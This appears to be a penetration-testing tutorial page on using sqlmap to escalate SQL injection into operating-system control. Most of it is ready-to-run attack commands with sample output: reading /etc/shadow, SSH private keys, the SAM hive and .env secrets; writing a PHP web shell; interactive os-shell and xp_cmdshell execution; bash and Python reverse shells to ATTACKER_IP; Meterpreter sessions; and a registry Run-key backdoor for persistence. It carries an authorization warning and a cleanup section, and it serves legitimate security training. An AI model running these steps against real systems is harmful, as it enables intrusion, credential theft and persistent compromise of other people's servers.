Skip to content

OS Exploitation

SQL injection doesn't have to stop at the database. With the right privileges and database features, you can escalate from a simple injection to full control of the underlying operating system.

Authorization Required

OS exploitation through SQL injection can cause serious damage. Ensure you have explicit, written authorization before using these techniques. File writes can overwrite critical files, and OS commands can modify system configurations.


Prerequisites — What You Need

Before attempting OS exploitation, verify these conditions:

Check if the current user is DBA
sqlmap -r request.txt --is-dba --batch
Requirement How to Check Why It Matters
DBA privileges --is-dba returns True Most file/OS operations require admin privileges
FILE privilege (MySQL) --privileges shows FILE Required for LOAD_FILE() and INTO OUTFILE
Stacked queries support SQLMap detects automatically Required for MSSQL xp_cmdshell and some techniques
Known web root Manual enumeration Required for writing web shells

Reading Files from the Server

Basic File Read

Read /etc/passwd (Linux)
sqlmap -r request.txt --file-read="/etc/passwd" --batch
Read web.config (Windows/IIS)
sqlmap -r request.txt --file-read="C:\\inetpub\\wwwroot\\web.config" --batch
Example Output
[INFO] fetching file: '/etc/passwd'
[INFO] the back-end DBMS operating system is Linux
do you want confirmation that the file '/etc/passwd' has been successfully 
downloaded from the back-end DBMS file system? [Y/n] Y
[INFO] the local file '/home/kali/.sqlmap/output/target.com/files/_etc_passwd' 
and the remote file '/etc/passwd' have the same size (2345 bytes)
files saved to [1]:
[*] /home/kali/.sqlmap/output/target.com/files/_etc_passwd (size 2345)

SQLMap saves the file locally. You can view it:

cat ~/.sqlmap/output/target.com/files/_etc_passwd

High-Value Files to Read

System files
sqlmap -r request.txt --file-read="/etc/passwd" --batch
sqlmap -r request.txt --file-read="/etc/shadow" --batch          # Requires root
sqlmap -r request.txt --file-read="/etc/hostname" --batch
sqlmap -r request.txt --file-read="/etc/hosts" --batch
sqlmap -r request.txt --file-read="/proc/self/environ" --batch   # Environment variables
Web application files
sqlmap -r request.txt --file-read="/var/www/html/config.php" --batch
sqlmap -r request.txt --file-read="/var/www/html/.env" --batch
sqlmap -r request.txt --file-read="/var/www/html/wp-config.php" --batch
SSH keys
sqlmap -r request.txt --file-read="/home/user/.ssh/id_rsa" --batch
sqlmap -r request.txt --file-read="/root/.ssh/id_rsa" --batch
Database configs
sqlmap -r request.txt --file-read="/etc/mysql/my.cnf" --batch
sqlmap -r request.txt --file-read="/var/lib/mysql/mysql.cnf" --batch
System files
sqlmap -r request.txt --file-read="C:\\Windows\\System32\\drivers\\etc\\hosts" --batch
sqlmap -r request.txt --file-read="C:\\Windows\\win.ini" --batch
sqlmap -r request.txt --file-read="C:\\Windows\\System32\\config\\SAM" --batch  # Requires SYSTEM
Web application files
sqlmap -r request.txt --file-read="C:\\inetpub\\wwwroot\\web.config" --batch
sqlmap -r request.txt --file-read="C:\\inetpub\\wwwroot\\.env" --batch
IIS configuration
sqlmap -r request.txt --file-read="C:\\Windows\\System32\\inetsrv\\config\\applicationHost.config" --batch

How File Reading Works Per DBMS

DBMS Technique Requires
MySQL LOAD_FILE('/etc/passwd') FILE privilege, secure_file_priv allows path
MSSQL OPENROWSET(BULK ...) BULK INSERT permission
PostgreSQL pg_read_file() or COPY Superuser or pg_read_server_files role

Writing Files to the Server

Writing a Web Shell

This is the most common escalation path: write a web shell to the web root, then use it to execute commands.

Step 1: Create the Web Shell Locally

shell.php
<?php system($_GET['cmd']); ?>

Step 2: Write It to the Server

sqlmap -r request.txt \
  --file-write="./shell.php" \
  --file-dest="/var/www/html/shell.php" \
  --batch
Output
[INFO] the back-end DBMS operating system is Linux
[INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 
INTO OUTFILE technique
[INFO] the file stager has been successfully uploaded on '/var/www/html/' - 
http://target.com/tmpuxzef.php
[INFO] the file '/var/www/html/shell.php' has been written

Step 3: Use the Web Shell

Execute commands through the web shell
curl "http://target.com/shell.php?cmd=whoami"
# Output: www-data

curl "http://target.com/shell.php?cmd=id"
# Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

curl "http://target.com/shell.php?cmd=cat+/etc/passwd"

Common Web Root Paths

OS / Server Default Web Root
Apache (Debian/Ubuntu) /var/www/html/
Apache (CentOS/RHEL) /var/www/html/
Nginx /usr/share/nginx/html/ or /var/www/html/
IIS C:\inetpub\wwwroot\
XAMPP (Linux) /opt/lampp/htdocs/
XAMPP (Windows) C:\xampp\htdocs\
WAMP C:\wamp\www\ or C:\wamp64\www\

Finding the Web Root

If you don't know the web root, try reading the server configuration:

# Apache
sqlmap -r request.txt --file-read="/etc/apache2/sites-enabled/000-default.conf" --batch

# Nginx
sqlmap -r request.txt --file-read="/etc/nginx/sites-enabled/default" --batch

# IIS
sqlmap -r request.txt --file-read="C:\\Windows\\System32\\inetsrv\\config\\applicationHost.config" --batch

OS Command Execution

Interactive OS Shell

sqlmap -r request.txt --os-shell --batch
Example Session
[INFO] going to use a web backdoor for command prompt
[INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 
INTO OUTFILE technique
[INFO] the file stager has been successfully uploaded
[INFO] the backdoor has been successfully uploaded
os-shell> whoami
www-data

os-shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

os-shell> uname -a
Linux webserver 5.15.0-76-generic #83-Ubuntu SMP x86_64 GNU/Linux

os-shell> cat /etc/hostname
webserver

os-shell> ls -la /home/
total 12
drwxr-xr-x  3 root root 4096 Jan  1 00:00 .
drwxr-xr-x 23 root root 4096 Jan  1 00:00 ..
drwxr-xr-x  5 admin admin 4096 Jan 15 14:22 admin

os-shell> cat /home/admin/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...

Single Command Execution

Execute a single command
sqlmap -r request.txt --os-cmd="whoami" --batch

How --os-shell Works Per DBMS

SQLMap writes a PHP web shell to the web root using INTO OUTFILE:

SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/tmpxxxx.php'

Then it sends commands to that URL.

Requirements: FILE privilege, writable web root, secure_file_priv allows it.

SQLMap enables and uses xp_cmdshell:

EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

Requirements: sa privileges or sysadmin role.

xp_cmdshell Visibility

Enabling xp_cmdshell is logged and will likely trigger alerts in monitored environments. It also persists after the scan — SQLMap tries to disable it when you exit, but verify.

SQLMap uses COPY ... FROM PROGRAM:

CREATE TABLE cmd_output (line TEXT);
COPY cmd_output FROM PROGRAM 'whoami';
SELECT * FROM cmd_output;
DROP TABLE cmd_output;

Or PL/Python for more complex commands:

CREATE OR REPLACE FUNCTION exec_cmd(cmd TEXT)
RETURNS TEXT AS $$
import subprocess
return subprocess.check_output(cmd, shell=True).decode()
$$ LANGUAGE plpython3u;

Requirements: Superuser role.


Getting a Reverse Shell

Through --os-shell

Once you have --os-shell, you can get a proper reverse shell:

On your attacker machine — start listener
nc -lvnp 4444
In os-shell — trigger reverse shell
os-shell> bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'
Alternative — Python reverse shell
os-shell> python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Using SQLMap's Meterpreter Integration

Direct Meterpreter shell
sqlmap -r request.txt \
  --os-pwn \
  --msf-path=/usr/share/metasploit-framework \
  --batch

SQLMap will:

  1. Generate a Meterpreter payload using MSFVenom
  2. Upload it to the target
  3. Start a Metasploit handler
  4. Execute the payload
  5. Give you a Meterpreter session
Output
[INFO] trying to upload the file stager on '/var/www/html/'
[INFO] the file stager has been successfully uploaded
[INFO] running Metasploit Framework command line interface locally
[INFO] spawning a Meterpreter session

meterpreter > sysinfo
Computer    : webserver
OS          : Ubuntu 22.04 (Linux 5.15.0-76-generic)
Meterpreter : python/linux

meterpreter > shell
Process 1234 created.
Channel 1 created.
$ whoami
www-data

VNC Session

Start a VNC session (Windows targets)
sqlmap -r request.txt --os-pwn --priv-esc --batch

Windows Registry Access (MSSQL Only)

When targeting MSSQL on Windows, you can read and write Windows Registry keys:

Reading Registry Keys

Read the Windows product name
sqlmap -r request.txt \
  --reg-read \
  --reg-key="HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion" \
  --reg-value="ProductName" \
  --batch
[INFO] retrieved: 'Windows Server 2019 Datacenter'
Read installed software
sqlmap -r request.txt \
  --reg-read \
  --reg-key="HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall" \
  --reg-value="DisplayName" \
  --batch

Writing Registry Keys

Add a Run key for persistence
sqlmap -r request.txt \
  --reg-add \
  --reg-key="HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" \
  --reg-value="Backdoor" \
  --reg-data="C:\\Windows\\Temp\\payload.exe" \
  --reg-type=REG_SZ \
  --batch

Deleting Registry Keys

Remove the persistence key
sqlmap -r request.txt \
  --reg-del \
  --reg-key="HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run" \
  --reg-value="Backdoor" \
  --batch

Post-Exploitation Workflow

Once you have OS access through SQL injection, follow this workflow:

1. Situational Awareness

os-shell> whoami
os-shell> id
os-shell> hostname
os-shell> uname -a                    # Linux
os-shell> systeminfo                  # Windows
os-shell> ip addr                     # Linux
os-shell> ipconfig /all               # Windows
os-shell> cat /etc/passwd             # Linux users
os-shell> net user                    # Windows users

2. Privilege Check

os-shell> sudo -l                     # Linux: check sudo permissions
os-shell> find / -perm -4000 2>/dev/null  # Linux: find SUID binaries
os-shell> whoami /priv                # Windows: check privileges

3. Network Enumeration

os-shell> ip route                    # Linux: routing table
os-shell> route print                 # Windows: routing table
os-shell> arp -a                      # Both: ARP table (find other hosts)
os-shell> netstat -tlnp               # Linux: listening ports
os-shell> netstat -ano                # Windows: listening ports

4. Credential Hunting

os-shell> cat /var/www/html/config.php       # Web app configs
os-shell> cat /var/www/html/.env             # Environment variables
os-shell> find / -name "*.conf" 2>/dev/null  # Find config files
os-shell> find / -name "*.bak" 2>/dev/null   # Find backup files
os-shell> type C:\inetpub\wwwroot\web.config # IIS config

5. Establish Persistence

Get a proper reverse shell and then use post-exploitation tools for privilege escalation. The os-shell in SQLMap is limited — it's a stepping stone, not a final shell.


Cleanup

Always Clean Up

After an engagement, remove any files you uploaded:

os-shell> rm /var/www/html/shell.php
os-shell> rm /var/www/html/tmpxxxx.php    # SQLMap's stager

Also check that SQLMap re-disabled xp_cmdshell (MSSQL) and removed any UDFs (MySQL).